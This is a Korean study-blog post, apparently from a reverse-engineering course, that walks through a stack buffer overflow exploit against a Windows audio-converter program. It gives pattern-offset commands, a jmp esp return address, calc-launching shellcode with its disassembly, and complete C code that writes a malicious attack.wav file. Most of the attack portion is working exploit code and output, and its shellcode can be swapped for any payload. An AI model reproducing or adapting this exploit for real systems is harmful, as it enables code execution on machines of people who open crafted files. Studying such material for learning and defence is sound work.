1) 쓰레기 값을 많이 넣어서 배열의 크기를 알아본다
use lib "/pentest/exploits/framework2/lib";
use Pex::Text;
$pattern = Pex::Text::PatternCreate(10000);
printf("%s", $pattern);
//perl pattern.pl
-----------------
root@bt:/pentest/exploits/framework2/sdk# ./patternOffset.pl 46366846 10000
4128
2) 알아낸 배열의 크기 만큼 채우고 리턴주소를 파악한다.
#include "stdafx.h"
#include <stdio.h>
#include <conio.h>
int main(int argc, char* argv[])
{
int state;
//파일 개방
FILE * fp;
char dummy[10000];
int i;
for( i = 0; i<4127;i++){
dummy[i] = 'A';
}
dummy[4128] = '\0';
fp = fopen("c:\\attack.wav", "a"); //포인터를 열어오는 것
fprintf(fp, "%s", dummy);
fclose(fp);
return 0;
}
0012F974 004AB292 Alltomp3.004AB292
\xED\1E\97\7C
7C971EED
shutdown -a //시스템 종료 취소
//계산기 옵코드
\x83\nEC\n0C\nB8\n63\n61\n6C\n63\nB9\n2E\n65\n78\n65\n32\nD2\n89\n04\n24\n8D\n04\n24\n6A\n05\n50\n89\n4C\n24\n0C\n88\n54\n24\n10\x
BA\n4D\n11\n86\n7C\nFF\nD2\n33\nC0\n83\nC4\n0C\nC3
jmp esp를 확인하는 프로그램이 있다.
\\\\\\\\\\\\\\\\\\\\\\\\\\ 계산기
00401000 /$ 83EC 0C SUB ESP,0C
00401003 |. B8 63616C63 MOV EAX,636C6163
00401008 |. B9 2E657865 MOV ECX,6578652E
0040100D |. 32D2 XOR DL,DL
0040100F |. 890424 MOV DWORD PTR SS:[ESP],EAX
00401012 |. 8D0424 LEA EAX,DWORD PTR SS:[ESP]
00401015 |. 6A 05 PUSH 5 ; /ShowState = SW_SHOW
00401017 |. 50 PUSH EAX ; |CmdLine
00401018 |. 894C24 0C MOV DWORD PTR SS:[ESP+C],ECX ; |
0040101C |. 885424 10 MOV BYTE PTR SS:[ESP+10],DL ; |
00401020 |. BA 4D11867C MOV EDX,kernel32.WinExec ; |
00401025 |. FFD2 CALL EDX ; \WinExec
// call까지만 하면 된다. 집털고 문 닫을필요없다. \x (16진수)
00401027 |. 33C0 XOR EAX,EAX
00401029 |. 83C4 0C ADD ESP,0C
0040102C \. C3 RETN
\\\\\\\\\\\\\\\\\\\\\\\\\공격!!
#include "stdafx.h"
#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char* argv[])
{
int state;
//파일 개방
FILE * fp;
char dummy[10000];
int i;
for( i = 0; i<4128;i++){
dummy[i] = 'A';
}
dummy[i] = NULL;
strcat(dummy, "\xED\x1E\x97\x7C");
strcat(dummy, "\x83\xEC\x0C\xB8\x63\x61\x6C\x63\xB9\x2E\x65\x78\x65\x32\xD2\x89\x04\x24\x8D\x04\x24\x6A\x05\x50\x89\x4C\x24\x0C\x88\x54\x24\x10\xBA\x4D\x11\x86\x7C\xFF\xD2\x33\xC0\x83\xC4\x0C\xC3");
fp = fopen("c:\\attack.wav", "w"); //포인터를 열어오는 것
fprintf(fp, "%s", dummy);
fclose(fp);
// char calc[] = "calc.exe";
// WinExec(calc, SW_SHOW);
return 0;
}
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
A1 305040000
EAX에 넣어라는 의미가 A1
Hex dump를 반대로 넣어서 어셈블리어에 넣는다.
호출값은 레지스터에 잠깐 담는다. (call
API -- 윈도우 프로그래밍을 찾으면 나온다. module등을 쉽게 이해가능.
PE(파일의 구조) --> packing --> 악성코드
Packing -- 실행파일을 압축해서 실행,용량 줄이고 리버싱을 어렵게 함.
--------------분석이 아니라 공격을 하려면, 취약점분석을 하면된다.
SEH(윈도우에서 처리하는 예외처리 기법)
try exception기법
(하드/소프트적 방법)
스택에 안 넣고 heap에 넣으면 stack->heap overflow ->DEP(DATA execution prevention) 윈xp이후로 나옴
ROP(return orented programming) -- 문자를 조합해서 스택에 담아 사용
취약점 | 악성코드
------------------두분야가있다.
'리버싱' 카테고리의 다른 글
18일차 리버싱, std (0) | 2013.05.01 |
---|---|
__cdecl, __pascal, __stdcall의 차이점 (0) | 2013.05.01 |
17일차, (백트랙)리턴 주소를 활용한 악성코드 생성. (0) | 2013.05.01 |
16일차, 복귀주소를 활용한 악성코드 실습 (0) | 2013.04.30 |
14일차, 크랙을 응용한 키젠만들기. (0) | 2013.04.30 |